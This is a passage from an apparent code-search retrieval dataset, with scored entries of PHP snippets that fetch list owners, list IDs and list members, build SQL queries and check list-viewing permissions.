lang('my_products'));\n $this->_display();\n }", "title": "" }, { "docid": "ed9454998fa667ca7639cc7093adbd6d", "score": "0.5382379", "text": "public function ownerId()\n {\n return $this->ownerid;\n }", "title": "" }, { "docid": "a02da949a0c12a1396f09fa44b12b3b7", "score": "0.5381282", "text": "function find($uid, $pidList){\n\t\tif(!$this->isAllowedService()) return;\n\t\t$locationArray = $this->getLocationFromTable($pidList, ' AND tx_cal_location.uid='.$uid);\n\t\treturn $locationArray[0];\n\t}", "title": "" }, { "docid": "c34cb964c053b497f27a2a8874499b2d", "score": "0.53531355", "text": "public function FListById($params)\n { \n\n /* Pesquisa pelo Usuario*/\n $UsuLocated = $this->UserExists->FSelectUser($params[0]);\n\n\n $dados = [\n 'titulo' => 'WarnerAcademy | User Details.',\n 'user' => $UsuLocated\n ]; \n \n /* Se nao Estiver Logado Mostrar a Home Page como Default.*/\n $template = $this->twig->loadTemplate('StudentsDetails.html');\n $template->display($dados);\n }", "title": "" }, { "docid": "3690a76c660aeb434b3212bd318d5b54", "score": "0.5351673", "text": "public function getOwnerId() {\n\t\treturn $this->owner_id;\n\t}", "title": "" }, { "docid": "b1ffca8f06564530a7001a68db023fc6", "score": "0.5342718", "text": "function getById( int $list_id )\n {\n return $this->client->request(\n 'GET', self::ENDPOINT_URL . \"{$list_id}\"\n );\n }", "title": "" }, { "docid": "8f5abe4a9831576fd03afad0feb38ff5", "score": "0.53060687", "text": "public function ownedBy() {\n\t\tif ($this->getUserobjecttype() != \"\") {\n\t\t\t$objectQueryName = $this->getUserobjecttype() . 'Query';\n\t\t\tif (class_exists($objectQueryName)) {\n\t\t\t\t$query = BaseQuery::create($this->getUserobjecttype());\n\t\t\t\treturn $query->findPK($this->getUserobjectid());\n\t\t\t}\n\t\t}\n\t\treturn;\n\t}", "title": "" }, { "docid": "345dc0fe5ff6463b0687342cb03e2927", "score": "0.5299068", "text": "function MemberList ( $hideowner = FALSE) {\n// These are chosen by looking at the list of Parts for the group\n// If $hideowner is set, remove project owner from the list...it's an \"other artists\" list, then.\n// Sys Admin is not part of any group. Access is given elsewhere.\n// Group 1 is the public group and EVERYONE is a member.\n\tglobal $IMAGES, $PRICES, $ARTISTS, $TOPICS, $KEYWORDS, $COMMENTS, $RATINGS, $SETS, $GROUPS, $PROJECTS, $PARTS, $SNIPPETS, $STORIES;\n\tglobal $msg, $error;\n\n\t$DEBUG = 0;\n\t\n\t$DEBUG && $starttime = microtime(true);\n\n\n\t$members = array();\t\t\t\t\t// empty the member list\n\t//($this->accesslevel > FP_ADMINISTRATOR) && $hideowner = true;\n\n\n\t$ID = $this->ID;\n\t$table = \"$ARTISTS\";\n\t$set = \"DISTINCT $ARTISTS.*, $ARTISTS.ID as ID, CONCAT_WS(', ', $ARTISTS.Lastname, $ARTISTS.Firstname) AS Fullname\";\n\t\n\tif ($ID == 1) {\n\t\t$where = \"\";\n\t} else {\n\t\t$where = \"WHERE $ARTISTS.ID in (select distinct ArtistID from $PARTS where PartTable=\\\"$GROUPS\\\" and PartID = '$ID')\";\n\t}\n\t\n\t\n\t$order = \"ORDER BY Lastname\";\n\t$query = \"select $set from $table $where $order\";\n\t\n\t$DEBUG && $msg .= \"<BR>$query<BR>\";\n\n\t$result = mysqli_query ($this->mysqli_connection, $query);\n\t\n\t$DEBUG && $msg .= __FUNCTION__.__LINE__.\": Time elapsed: \". round (microtime(true) - $starttime, 2) . \" seconds<BR>\";\n\n\t// Add in the owner!\n\tif (!$hideowner)\n\t\t$members[$this->owner] = FetchArtist($this->owner);\n\n\twhile ($record = mysqli_fetch_array($result, MYSQLI_ASSOC)) {\n\t\t$members[$record['ID']] = $record;\n\t\t$DEBUG && $msg .= \"<BR>{$record['Lastname']} in group $ID<BR>\";\n\n\t}\n\tif ($this->fp_user != FP_ADMINISTRATOR && $hideowner)\n\t\tunset ($members[$this->owner]);\n\n\t// System Admin is not part of anything\n\tif (isset($members[FP_ADMINISTRATOR]))\n\t\tunset($members[FP_ADMINISTRATOR]);\n\t$this->members = $members;\n\treturn $this->members;\n}", "title": "" }, { "docid": "c76b9763f8df75be3a65a5153e8b903d", "score": "0.52696127", "text": "public function search($list_id)\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('list_id',$this->list_id);\n\t\t$criteria->compare('member_id',$this->member_id);\n\t\t$criteria->condition='list_id='.$list_id;\n//\t\t$criteria->join='left join tw_twitter_user on t.member_id = tw_twitter_user.twitter_id';\n $criteria->order = Yii::app()->request->getParam('sort');\n\t \n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "title": "" }, { "docid": "5e9e0e2902c083f54b5568d0c848a4d4", "score": "0.52583796", "text": "public function getOwnerID()\n {\n return $this->ownerID;\n }", "title": "" }, { "docid": "7ef9bb89b64c0b1795aff5205e2ce8f7", "score": "0.5257789", "text": "public function getById($idList) {\n\t\treturn $this->find($idList);\n\t}", "title": "" }, { "docid": "390306fc0d1a71200dd3dcff28a9a44b", "score": "0.52428424", "text": "function get_book_owner($book_id) {\n\t\t$sql = \"SELECT * FROM `book_info` WHERE `book_info_id` =$book_id LIMIT 1\";\n\t\t$query = $this->db->query($sql);\n\t\t$results = $query->result();\n\t\treturn $results[0]->facebook_id;\n\t}", "title": "" }, { "docid": "abb2b2cc2a61fd1e2f76007e4e70eda4", "score": "0.5242773", "text": "function getOwner($db, $pid){\n if ($result = $db->query(\"SELECT ownedByUserID FROM Plan WHERE planID = $pid;\")) {\n $row = $result->fetch_array(MYSQLI_NUM);\n $r = $row[0];\n //echo \"<script> alert($r); </script>\";\n return $r;\n }\n return NULL;\n }", "title": "" }, { "docid": "9ec58b36b2e8c180b50940244784aacc", "score": "0.52408373", "text": "private function setListId()\n {\n $query = new Query();\n\n $listInBaseAfter = $query\n ->select([\n 'idList',\n 'nameList'\n ])\n ->from('list')\n ->all();\n\n $list = $listInBaseAfter[count($listInBaseAfter) - 1]['idList'];\n\n if (! $list) {\n GenerateException::getException('Can not get price list ID.', __CLASS__, __LINE__);\n }\n\n return $list;\n }", "title": "" }, { "docid": "f2559162aaa2d193cbd70c0f5b714f3d", "score": "0.52404803", "text": "function getAuthorList( &$pListHash ) {\n\t\t$ret = NULL;\n\t\t$mid = '';\n\n\t\t$bindVars = array();\n\t\tif( !empty( $pListHash['content_type_guid'] ) ) {\n\t\t\t$mid .= ' AND lc.`content_type_guid`=? ';\n\t\t\t$bindVars[] = $pListHash['content_type_guid'];\n\t\t}\n\n\t\t$this->prepGetList( $pListHash );\n\t\t$query = \"SELECT DISTINCT(uu.`user_id`) AS hash_key, uu.`user_id`, SUM( lch.`hits` ) AS `ag_hits`, uu.`login`, uu.`real_name`\n\t\t\t\tFROM `\".BIT_DB_PREFIX.\"liberty_content` lc INNER JOIN `\".BIT_DB_PREFIX.\"users_users` uu ON( uu.`user_id`=lc.`user_id` )\n\t\t\t\tLEFT OUTER JOIN `\".BIT_DB_PREFIX.\"liberty_content_hits` lch\n\t\t\t\t\tON (`lc`.`content_id` = `lch`.`content_id`)\n\t\t\t\tWHERE uu.`user_id` != \".ANONYMOUS_USER_ID.\" AND lch.`hits` > 0 $mid\n\t\t\t\tGROUP BY uu.`user_id`, uu.`login`, uu.`real_name`\n\t\t\t\tORDER BY `ag_hits` DESC\";\n\t\t$result = $this->mDb->query( $query, $bindVars, $pListHash['max_records'], $pListHash['offset'] );\n\t\twhile( $aux = $result->fetchRow() ) {\n\t\t\t$ret[] = $aux;\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "b33d1428ecbf0b31b8a774c0c6771058", "score": "0.5238362", "text": "public function get_list_data_for_copy_child($list_id){\n $condition = array('id' => $list_id);\n $this->db->select('name, list_type_id, user_id, description, is_locked, show_completed, allow_move, allow_undo, allow_maybe, show_time, show_preview, allow_append_locked, is_private, enable_comment, show_author, created_user_name');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n return $query->row_array();\n }", "title": "" }, { "docid": "aee75ffa429e0d084a135f16a7a3e808", "score": "0.52374524", "text": "public function specificList($list_id)\n {\n $list = SubscribersList::find($list_id);\n if (!$list) {\n abort(404);\n }\n\n $subscribers = DB::table('subscribers')\n ->where('list_id', $list_id)\n ->select('email', 'first_name', 'last_name', 'company', 'created_at')\n ->get();\n\n $number_of_subscribers = $subscribers->count();\n\n $data = array(\n 'list' => $list,\n 'number_of_subscribers' => $number_of_subscribers,\n 'subscribers' => $subscribers,\n );\n\n return view('dashboard.subscribers-specific-list', $data);\n }", "title": "" }, { "docid": "2ac6f3d1097567a2bc73d40bac2c3d1f", "score": "0.5233603", "text": "public function owner()\n {\n return $this->belongsTo(Owner::class, 'owner_id', 'id')->first();;\n }", "title": "" }, { "docid": "4239ef486d707f0ced493b4d12c3cb29", "score": "0.5228168", "text": "public function get_team_owner_list($league_id = false) {\n \n\t\tif ($league_id === false)\n\t\t{\n\t\t\t$league_id = $this->league_id;\n\t\t}\n $team_owner_list = array();\n if (!$this->use_prefix) $this->db->dbprefix = '';\n if ($this->db->table_exists('teams')) {\n $this->db->select('teams.team_id, teams.name, teams.nickname, teams.logo_file, user_id')\n ->join($this->dbprefix.$this->table,$this->dbprefix.$this->table.'.team_id = teams.team_id', 'left outer')\n ->where('teams.league_id',$league_id)\n ->where('teams.allstar_team',0)\n ->where('teams.level',1);\n $query = $this->db->get('teams');\n\t\t\t//echo($this->db->last_query().\"<br />\");\n\t\t\tif ($query->num_rows() > 0) {\n\t\t\t\t$team_owner_list = $query->result();\n\t\t\t}\n }\n if (!$this->use_prefix) $this->db->dbprefix = $this->dbprefix;\n return $team_owner_list;\n\t}", "title": "" }, { "docid": "5417996e9bd638e4cafd7f3abd2b07e4", "score": "0.52235615", "text": "public function getOwner(){\n return User::getUserById($this->getOwnerId());\n }", "title": "" }, { "docid": "0760f556c9754119f68e361bc85ad616", "score": "0.5223217", "text": "static public function canViewList($list, $context, $user) \r\n {\r\n \t\r\n \tself::_checkList($list);\r\n \t \t\r\n self::_checkContext($context);\r\n self::_checkUser($user);\r\n $owner = $list->getOwner();\r\n self::_checkContext($owner);\r\n \r\n /**\r\n * @desc \r\n * Дополнительный функционал для листов, приатаченых к событиям\r\n */\r\n if ($event = self::_isEventAttach($list)) { \r\n return Warecorp_ICal_AccessManager::canViewEvent($event, $context, $user);\r\n }\r\n\r\n \r\n if ( $owner->getId() === null || $user->getId() === null || $list->getId() === null ) return false;\r\n \r\n if ($context instanceof Warecorp_User) {\r\n \tif ($owner instanceof Warecorp_User) {\r\n \t\tif ($context->getId() === $owner->getId()) {\r\n \t\t\tif ($list->getIsPrivate() && $owner->getId()!=$user->getId()) {\r\n \t\t\t return false;\r\n \t\t\t} else {\r\n \t\t\t\treturn self::canViewLists($context, $user);\r\n \t\t\t}\r\n \t\t} else { // if list was shared to context:\r\n \t\t\treturn $list->isListShared($list->getId(), 'user', $context->getId()) && self::canViewPrivateLists($context, $user);\r\n \t\t}\r\n \t} else { // $owner - group \r\n \t\treturn ( $list->isListShared($list->getId(), 'user', $context->getId()) && $context->getId() === $user->getId() );\r\n \t}\r\n } else { // $context - group\r\n if ($owner instanceof Warecorp_User) { // list was shared to group ($context) from user ($owner)\r\n \treturn self::canViewPrivateLists($context, $user) && $list->isListShared($list->getId(), 'group', $context->getId());\r\n } else { // $owner - group\r\n \tif ($owner->getId() === $context->getId()) {\r\n if ($list->getIsPrivate()) {\r\n return ( self::canViewPrivateLists($context, $user) || $list->isListShared($list->getId(), 'user', $user->getId()) ); \r\n } else {\r\n return ( self::canViewPublicLists($context, $user) || $list->isListShared($list->getId(), 'user', $user->getId()) ); \r\n }\r\n \t}else{ // list was shared to group ($context) from group ($owner)\r\n if (self::canViewPrivateLists($context, $user) && $list->isListShared($list->getId(), 'group', $context->getId())) {\r\n \treturn true;\r\n }\r\n return false;\r\n \t}\r\n }\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "d18ae5f9f135fdb783ffa46b98a3fe4e", "score": "0.52195156", "text": "public function getListItem( $id );", "title": "" }, { "docid": "145afda5a35385e286f59d81eecba655", "score": "0.5219235", "text": "public function getOwner ( DBConnection $db ) {\n\t\t$sql = \"select *\n\t\t\t\tfrom mymopsi_user u\n\t\t\t\twhere id = ?\n\t\t\t\tlimit 1\";\n\n\t\t$this->owner = $db->query( $sql, [ $this->owner_id ], false, 'User' );\n\t}", "title": "" }, { "docid": "ca1663a31718559155b18ba7dbc02751", "score": "0.52172226", "text": "public function owner()\n {\n return $this->belongsTo(config('auth.model'), 'owner_id');\n }", "title": "" }, { "docid": "b8a63f24f4aa2658d1ca8660e6d1f715", "score": "0.5214082", "text": "public function index()\n {\n\n return $this->repository->with(['owner', 'client'])->findWhere(['owner_id' => Authorizer::getResourceOwnerId()]);\n\n\n }", "title": "" }, { "docid": "1464945eeeac11bdbda4b26f416b3515", "score": "0.52130294", "text": "public function getOwner();", "title": "" }, { "docid": "1464945eeeac11bdbda4b26f416b3515", "score": "0.52130294", "text": "public function getOwner();", "title": "" }, { "docid": "1464945eeeac11bdbda4b26f416b3515", "score": "0.52130294", "text": "public function getOwner();", "title": "" }, { "docid": "1464945eeeac11bdbda4b26f416b3515", "score": "0.52130294", "text": "public function getOwner();", "title": "" }, { "docid": "3df7ec620bfc67e5b2aeb5d1637d3f64", "score": "0.5210402", "text": "public function getOwnerName();", "title": "" }, { "docid": "0f0ab864cadf9c6c8e676b7d583ebef1", "score": "0.51956064", "text": "public function ownedBy($owner, string $name);", "title": "" }, { "docid": "e2972d26d725f0d8b86a11b2b3bf163f", "score": "0.518951", "text": "function retrieve_portfolio_publication_owner($pid)\r\n {\r\n $condition = new EqualityCondition(PortfolioPublication :: PROPERTY_ID, $pid);\r\n $item = $this->retrieve_object(PortfolioPublication :: get_table_name(), $condition, null, PortfolioPublication :: CLASS_NAME);\r\n return $item->get_owner();\r\n }", "title": "" }, { "docid": "f8408bfcb28df1035496ae2f8cfa2119", "score": "0.5183029", "text": "public static function teamIDForList($listID, $link=NULL)\n\t{\n\t\t// If the specified list is owned by a team\n\t\tif(!isset($listID))\n\t\t{\n\t\t\terror_log(\"TDOList::isTeamOwnedList missing listID\");\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$closeLink = false;\n\t\tif ($link == NULL)\n\t\t{\n\t\t\t$closeLink = true;\n\t\t\t$link = TDOUtil::getDBLink();\n\t\t\tif (!$link)\n\t\t\t{\n\t\t\t\terror_log(\"TDOList::teamIDForList() could not get DB connection.\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$listID = mysql_real_escape_string($listID, $link);\n\t\t\n\t\t$sql = \"SELECT creator FROM tdo_lists JOIN tdo_team_accounts ON teamid=creator WHERE listid='$listID'\";\n\t\tif ($result = mysql_query($sql, $link))\n\t\t{\n\t\t\t$row = mysql_fetch_array($result);\n\t\t\tif ($row && isset($row['creator']))\n\t\t\t{\n\t\t\t\t// A team-owned list has the creator matching the team ID.\n\t\t\t\t$teamID = $row['creator'];\n\t\t\t\tif ($closeLink)\n\t\t\t\t\tTDOUtil::closeDBLink($link);\n\t\t\t\treturn $teamID;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($closeLink)\n\t\t\tTDOUtil::closeDBLink($link);\n\t\treturn false;\n\t}", "title": "" }, { "docid": "6c26f07e53f18e63abe4a4a82974bc11", "score": "0.5181242", "text": "public function getList()\n {\n return $this->hasOne(TodoList::class, ['id' => 'list_id']);\n }", "title": "" }, { "docid": "71e4dbd6540c780b3c29c865b19f644a", "score": "0.51591253", "text": "function __setOwnerId ($twoid, $data=null){\n\t\tif (empty($data)) $data = Session::read(\"WMS.{$twoid}\");\n\t\tif ($data['Workorder']['source_model']=='User') AppController::$ownerid = $data['Workorder']['source_id']; \n\t\tif ($data['Workorder']['source_model']=='Group') AppController::$ownerid = $data['Workorder']['client_id'];\n\t}", "title": "" }, { "docid": "291f11d1432cb59fbe8271cf76c0b725", "score": "0.5157246", "text": "function find($uid, $pidList) {\n\t\t$calendarArray = $this->getCalendarFromTable ($pidList, ' AND uid=' . $uid);\n\t\treturn $calendarArray [0];\n\t}", "title": "" }, { "docid": "e56338b043d4ff9f58885885ae207bfd", "score": "0.5154604", "text": "function owner($article) {\n $dosql = 'SELECT author_id FROM '.$GLOBALS['prefix'].'lb_postings WHERE id=\"'.$article.'\";';\n $row = $GLOBALS['lbdata']->GetArray($dosql);\n if ($row[0]['author_id'] == getuserid($_SESSION['nickname'])) {\n return true;\n }else {\n return false;\n }\n}", "title": "" }, { "docid": "1fe0736931b635f2c5c0c06f32d81444", "score": "0.51514566", "text": "public static function isOwner($model,$modelId){\n \n \n \n }", "title": "" }, { "docid": "7bed52d1d89705c97efc624c49ae7fb0", "score": "0.51505035", "text": "protected function _getIdentityFromObject()\n {\n $className = $this->_identityClassname . '_List';\n $objectList = new $className;\n $objectList->setCondition($this->_getCondition());\n $objectList->load();\n\n return $objectList;\n }", "title": "" }, { "docid": "3ad69ea161554aa70613d3668f16f92c", "score": "0.51430565", "text": "public function getOwner()\n {\n return $this->hasOne(Owner::className(), ['id' => 'owner_id']);\n }", "title": "" }, { "docid": "f14932765c547c0931f4a81bf994234e", "score": "0.5141032", "text": "private function checkOwnerExistence()\n {\n $this->owner = Show::find($this->getOwnerId());\n if (empty($this->owner)) {\n abort(404);\n }\n }", "title": "" }, { "docid": "f1a5fb5f3a7eace9ece62379646fb1d2", "score": "0.5137284", "text": "public function getAccountListID()\n\t{\n\t\treturn $this->get('AccountRef ListID');\n\t}", "title": "" }, { "docid": "cd4a557052733ff80e5df9370b7db581", "score": "0.51363665", "text": "public function getOwner()\n {\n $column = $this->_column;\n $id = $this->_record->$column;\n if (!$id) {\n return null;\n } else {\n return $this->_record->getDb()->getTable('User')->find($id);\n }\n }", "title": "" }, { "docid": "fc5e57e1137be6d96b7f5cb51343b0de", "score": "0.51330847", "text": "public function listComponentOwnerDetails()\n {\n $details = $this->listComponentDetails();\n if (!$this->ownerDetailsMap) {\n return [];\n }\n\n $owners = $this->ownerDetailsMap;\n foreach ($this->ownerDetailsMap as $ownerClass => $ownerArr) {\n $components = $ownerArr['components'] ?? [];\n foreach ($components as $code => $className) {\n $detailsArr = $details[$code] ?? [];\n $owners[$ownerClass]['components'][$code] = ['className' => $className] + $detailsArr;\n }\n }\n\n return $owners;\n }", "title": "" }, { "docid": "9cb19ec3bd332a93c71a9fc6a756308a", "score": "0.51323086", "text": "function owner()\n {\n if ($this->OwnerID != 0) {\n return eZContentObject::fetch($this->OwnerID);\n }\n\n return null;\n }", "title": "" }, { "docid": "5ebc170cad86bfa3ab1b605faac5c2e7", "score": "0.5129911", "text": "function getuserid($request) {\n global $authordump;\n\n foreach ($authordump as $author) {\n if ($author['nickname'] == $request) {\n return $author['id'];\n }\n }\n}", "title": "" }, { "docid": "8e7c5a2987e172a811ea665814fd7982", "score": "0.51248235", "text": "public function get_list() {\r\n try {\r\n $sponsor_owner = $this->getSafe('sponsor_owner', '');\r\n $limit = $this->getSafe('limit', $this->app->appConf->page_size);\r\n $page_number = $this->getSafe('page_number', 1);\r\n $where = $this->getSafe('where', '');\r\n $order_by = $this->getSafe('order_by', '');\r\n $keywords = $this->getSafe('keywords', '');\r\n \r\n $page_number = empty($page_number) ? 1 : $page_number;\r\n \r\n $start_index = ($page_number -1) * $limit;\r\n \r\n $db = $this->app->getDbo();\r\n \r\n $search = '';\r\n \r\n if (!empty($keywords)) {\r\n $keywords = $db->quote('%' . $keywords . '%');\r\n // search theo name\r\n $search .= $db->quoteName('name') . ' LIKE ' . $keywords;\r\n }\r\n\r\n if (empty($sponsor_owner)) {\r\n $ret = $this->message(1, 'sponsor_get_by_username_missing_username', 'Missing or Empty username.');\r\n $this->renderJson($ret);\r\n }\r\n\r\n $sponsor_username = $this->sponsor_model->get_list_username_by_path($sponsor_owner);\r\n if($sponsor_username != \"\"){\r\n $where .= ' AND sponsor in ('. $sponsor_username .')';\r\n }\r\n \r\n if (!empty ($where)) {\r\n if (!empty ($search)) {\r\n $where = ' AND (' . $search . ')';\r\n }\r\n } else {\r\n $where = $search;\r\n }\r\n\r\n $data = array (\r\n 'limit' => $limit,\r\n 'start_index' => $start_index,\r\n 'order_by' => $order_by,\r\n 'where' => $where\r\n );\r\n \r\n $gd_list = $this->gd_model->get_list($data);\r\n $total_user_gd_list = $this->gd_model->get_list_total($where);\r\n \r\n $ret = array (\r\n 'gds' => $gd_list,\r\n 'total' => $total_user_gd_list\r\n );\r\n \r\n $this->renderJson($ret);\r\n \r\n } catch (Exception $ex) {\r\n $this->app->write_log('gd_get_list_exception - ' . $ex->getMessage());\r\n \r\n $ret = $this->message(1, 'gd_get_list_exception', $ex->getMessage());\r\n $this->renderJson($ret);\r\n }\r\n }", "title": "" }, { "docid": "489c1b6c9da92b3475c9a0fa52b400e1", "score": "0.51234674", "text": "public function getOwner() {\n\t\treturn UserQuery::create()->findOneById($this->getUserId());\n\t}", "title": "" }, { "docid": "00a5e53f2b1bac209339717f9e0003d9", "score": "0.5117323", "text": "function own_s($id) {\n $select = $this->mysql->prepare(\"SELECT `By` FROM `services` WHERE `ID` = :id\");\n $select->execute(array(\":id\" => $id));\n $data = $select->fetch(PDO::FETCH_OBJ);\n return $data->By;\n }", "title": "" }, { "docid": "73ca3a226dacc47b7b27e562d1d66b18", "score": "0.51122427", "text": "function __setOwnerId ($woid, $data=null){\n\t\tif (empty($data)) $data = Session::read(\"WMS.{$woid}\");\n\t\tif ($data['Workorder']['source_model']=='User') AppController::$ownerid = $data['Workorder']['source_id']; \n\t\tif ($data['Workorder']['source_model']=='Group') AppController::$ownerid = $data['Workorder']['client_id'];\n\t}", "title": "" }, { "docid": "f5cb41b83d4e7878f39ba100fbd21b1f", "score": "0.510937", "text": "public function getListId()\n\t{\n\t\treturn (string) $this->listId;\n\t}", "title": "" }, { "docid": "68ee6a53c41b228c2f7d6ebc5a4f41c5", "score": "0.5102465", "text": "public function edit($list_id)\n {\n //查询需要修改的用户的个人信息\n $list = DB::table('list')->where('list_id',$list_id)->first();\n // dd($admin);\n // 加载修改页面并把个人信息传到模板上\n return view('admin.listedit', ['list'=>$list,'list_id'=>$list_id]);\n }", "title": "" }, { "docid": "511dd80d83d5de96674777bcb3f6f780", "score": "0.5097404", "text": "public function getOwner()\n {\n return $this->hasOne(User::className(), ['id' => 'owner_id']);\n }", "title": "" }, { "docid": "0525efd293301c8a1402b59d3a3a30bc", "score": "0.50953525", "text": "public function owner()\n {\n \treturn $this->belongsTo(User::class, 'owner_uid', 'uid');\n }", "title": "" }, { "docid": "d356cd9bcf1054e338a2ceeea4d79854", "score": "0.5070656", "text": "function mediaCatalogListId($srch_options) {\n\n// <start>\n\tglobal $dbConn;\n\t$params = array();\n\n $default_opts = array(\n 'public' => 2,\n 'type' => 'v',\n 'orderby' => 'id',\n 'order' => 'a',\n 'is_owner' => 0,\n 'channelid' => 0,\n 'catalog_id' => null\n );\n\n $options = array_merge($default_opts, $srch_options);\n $where = '';\n\n if ($where != '')\n $where .= ' AND ';\n $where .= \" published=\" . MEDIA_READY;\n \n if(is_null($options['channelid'])) $options['channelid'] = 0;\n if ($where != '') $where .= ' AND ';\n $where .= \" channelid=:Channelid \";\n $params[] = array( \"key\" => \":Channelid\", \"value\" =>$options['channelid']); \n\n if ($options['type'] != 'a') {\n if ($where != '')\n $where .= ' AND ';\n $where .= \" image_video=:Type \";\n $params[] = array( \"key\" => \":Type\", \"value\" =>$options['type']); \n }\n\n //this used to be inside !is_null($options['userid'])\n if (!is_null($options['catalog_id'])) {\n if ($where != '')\n $where .= ' AND ';\n $where .= \" EXISTS (SELECT catalog_id FROM cms_videos_catalogs WHERE video_id=V.id AND catalog_id=:Catalog_id)\";\n $params[] = array( \"key\" => \":Catalog_id\", \"value\" =>$options['catalog_id']); \n }\n\n if (userIsLogged()) {\n if (intval($options['is_owner']) == 0) {\n $searcher_id = userGetId();\n if ($where != '')\n $where .= ' AND ';\n\n //TODO: now that there is extended friend_list dont think IN should be used anymore\n $community = USER_PRIVACY_COMMUNITY;\n $private = USER_PRIVACY_PRIVATE;\n $public = USER_PRIVACY_PUBLIC;\n $selected = USER_PRIVACY_SELECTED;\n\n $friends_list = userGetFreindList($searcher_id);\n $friends = array();\n foreach ($friends_list as $freind_row) {\n $friends[] = $freind_row['id'];\n }\n $friends[] = $searcher_id;\n $friends_queryar = implode(',', $friends);\n $friends_query = \" OR (is_public = :Community AND find_in_set(cast(userid as char), :Friends_query) ) \";\n $params[] = array( \"key\" => \":Community\", \"value\" =>$community); \n $params[] = array( \"key\" => \":Friends_query\", \"value\" =>$friends_queryar);\n\n $selected_query = \" OR (is_public=:Selected AND EXISTS (SELECT to_user FROM cms_social_permissions WHERE from_user=id AND to_user=:Searcher_id ) ) \";\n $params[] = array( \"key\" => \":Selected\", \"value\" =>$selected); \n $params[] = array( \"key\" => \":Searcher_id\", \"value\" =>$searcher_id); \n\n $where .= \" (is_public = $public $friends_query $selected_query OR (is_public = :Private AND userid=:Searcher_id2) )\";\n $params[] = array( \"key\" => \":Private\", \"value\" =>$private); \n $params[] = array( \"key\" => \":Searcher_id2\", \"value\" =>$searcher_id); \n }\n } else {\n if ($where != '')\n $where .= ' AND ';\n $where .= \" is_public = \" . USER_PRIVACY_PUBLIC;\n }\n\n $orderby = $options['orderby'];\n $order='';\n if ($orderby == 'rand') {\n $orderby = \"RAND()\";\n } else {\n $order = ($options['order'] == 'a') ? 'ASC' : 'DESC';\n }\n $all_orders = \"$orderby $order\";\n $query = \"SELECT id FROM `cms_videos` AS V WHERE $where ORDER BY $all_orders\";\n\n// $ret = db_query($query);\n \n $select = $dbConn->prepare($query);\n PDO_BIND_PARAM($select,$params);\n $select->execute();\n $row = $select->fetchAll();\n \n $media = array();\n foreach($row as $row_item){\n $media[] = $row_item['id'];\n } \n return $media;\n\n// <end>\n}", "title": "" }, { "docid": "1e8e8bece4ae9dcd5e44832ef0383116", "score": "0.50705206", "text": "public function get_list($list_owner, $list_name, $opts=array()) {\n $api_params = array_merge($opts, array(\n 'slug' => $list_name,\n 'owner_screen_name' => $list_owner\n ));\n $links = $this->get_links_from_api(\n $this->resource_url['lists/statuses'],\n $api_params\n );\n return $this->render_as_atom(\n $feed_title = \"$list_name list by $list_owner\",\n $feed_url = \"https://twitter.com/$list_owner/lists/$list_name\",\n $links\n );\n }", "title": "" }, { "docid": "8aaa124c1eae9cd9a6c7f18af9c4a9e5", "score": "0.5069738", "text": "public function getRecordsByIds($ids=array()) { \n\t\tif($this->hasPermission(\"list\")) {\n\t\t\treturn parent::getRecordsByIds($ids);\n\t\t}\t\t\n\t\telse {\n\t\t\tthrow new AuthorizationException(\"Actor haven't permission to list model in \" . $this->getTable(), 1);\t\t\n\t\t}\t\n\t}", "title": "" }, { "docid": "ace0c95354903794c3439ef6fd5b84f6", "score": "0.5069439", "text": "public function find_sublists($list_id) {\n $condition = array('lists.parent_id' => $list_id, 'is_deleted' => 0);\n $this->db->select('lists.name as list_name, lists.id as list_id, lists.description, lists.slug as list_slug, lists.list_type_id as type_id, lists.show_completed as show_completed, lists.allow_move as allow_move, lists.allow_undo as allow_undo, lists.allow_maybe as allow_maybe, lists.show_time as show_time, lists.show_preview as show_preview, lists.enable_comment as enable_comment, lists.allow_append_locked, lists.user_id as list_owner_id, lists.is_locked as is_locked, lists.is_deleted as is_deleted, lists.user_id as user_id, lists.created_user_name, lists.show_author, lists.list_inflo_id, lists.unshared_with');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $list_details = $query->result_array();\n return $list_details;\n }", "title": "" }, { "docid": "958b328b26ae8d228d6e9f039d56bab1", "score": "0.5058172", "text": "function getCitizenList( &$pParamHash ) {\n\t\tglobal $gBitSystem, $gBitUser;\n\t\t\n\t\tif ( empty( $pParamHash['sort_mode'] ) ) {\n\t\t\tif ( empty( $_REQUEST[\"sort_mode\"] ) ) {\n\t\t\t\t$pParamHash['sort_mode'] = 'surname_asc';\n\t\t\t} else {\n\t\t\t$pParamHash['sort_mode'] = $_REQUEST['sort_mode'];\n\t\t\t}\n\t\t}\n\t\t\n\t\tLibertyContent::prepGetList( $pParamHash );\n\n\t\t$findSql = '';\n\t\t$selectSql = '';\n\t\t$joinSql = '';\n\t\t$whereSql = '';\n\t\t$bindVars = array();\n\t\t$type = 'surname';\n\t\t\n\t\t// this will set $find, $sort_mode, $max_records and $offset\n\t\textract( $pParamHash );\n\n\t\tif( isset( $find_org ) and is_string( $find_org ) and $find_org <> '' ) {\n\t\t\t$whereSql .= \" AND UPPER( ci.`organisation` ) like ? \";\n\t\t\t$bindVars[] = '%' . strtoupper( $find_org ). '%';\n\t\t\t$type = 'organisation';\n\t\t\t$pParamHash[\"listInfo\"][\"ihash\"][\"find_org\"] = $find_org;\n\t\t}\n\t\tif( isset( $find_name ) and is_string( $find_name ) and $find_name <> '' ) {\n\t\t $split = preg_split('|[,. ]|', $find_name, 2);\n\t\t\t$whereSql .= \" AND UPPER( ci.`surname` ) STARTING ? \";\n\t\t\t$bindVars[] = strtoupper( $split[0] );\n\t\t if ( array_key_exists( 1, $split ) ) {\n\t\t\t\t$split[1] = trim( $split[1] );\n\t\t\t\t$whereSql .= \" AND UPPER( ci.`forename` ) STARTING ? \";\n\t\t\t\t$bindVars[] = strtoupper( $split[1] );\n\t\t\t}\n\t\t\t$pParamHash[\"listInfo\"][\"ihash\"][\"find_name\"] = $find_name;\n\t\t}\n\t\tif( isset( $find_street ) and is_string( $find_street ) and $find_street <> '' ) {\n\t\t\t$whereSql .= \" 